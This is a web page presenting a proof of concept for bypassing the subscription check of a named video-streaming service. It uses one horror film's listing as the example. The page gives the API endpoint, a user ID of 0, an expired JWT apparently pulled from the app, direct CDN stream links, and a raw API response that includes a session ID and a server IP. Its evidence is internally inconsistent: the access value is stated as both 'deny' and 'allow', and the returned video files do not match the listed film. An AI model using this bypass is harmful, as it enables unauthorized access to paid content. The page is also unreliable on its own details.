A haunting at silver falls: The return

SECURITY PoC — NO AUTH

CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required

CDN bypass demonstration:
The API returned playingUrl for A haunting at silver falls: The return with issubscriber: false and user_access: deny.
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.

Vj Emmy Horror 01h 18m 7 years ago

Several years after a deadly struggle with her serial killer aunt, Jordan works to escape her troubled history. But when her aunts revenge-seeking specter surfaces to join forces with a deranged convict, Jordan must return to the haunted town of Silver Falls for a final showdown with the ghosts of her past

API Response Evidence — Vulnerability Proof

Endpoint called GET /api/preview/v2/6283/0

User ID used 0 (no user / not logged in)

JWT used Expired Feb 2024 (extracted from APK)

issubscriber false

user_access allow

paid_for YES (premium content)

substatus EXPIRED

serverhost 9

video_name 72e6f.mp4

playingUrl returned YES — URL in response

API playingUrl value https://munowatch.co/clips/ELI.mp4

CDN demo stream https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).

{
    "id": 6283,
    "video_title": "A haunting at silver falls: The return",
    "description": "Several years after a deadly struggle with her serial killer aunt, Jordan works to escape her troubled history. But when her aunts revenge-seeking specter surfaces to join forces with a deranged convict, Jordan must return to the haunted town of Silver Falls for a final showdown with the ghosts of her past  ",
    "video_name": "72e6f.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "9",
    "allow_openload": "0",
    "full_video_name": "A haunting at silver falls the return emm.mp4",
    "duration": "01h 18m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/32ab.jpg",
    "tfilehistory": " ~ 637997526492.jpg ~  ~ 8a4d.jpg ~ ",
    "category_id": 2,
    "language_id": 1,
    "recording_date": "2019-01-12",
    "age_id": "18 +",
    "location": 1,
    "tab_category_id": 2,
    "series_code": "6283",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "510.97 MB",
    "create_date": "2019-07-06 06:07:51",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 2,
    "video_status_id": 1,
    "network_id": "216.104.205.210",
    "user_access": "allow",
    "notification": "No",
    "secduration": "4692.000000",
    "issubscriber": false,
    "genre": "Horror",
    "vjname": "Vj Emmy",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "7 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}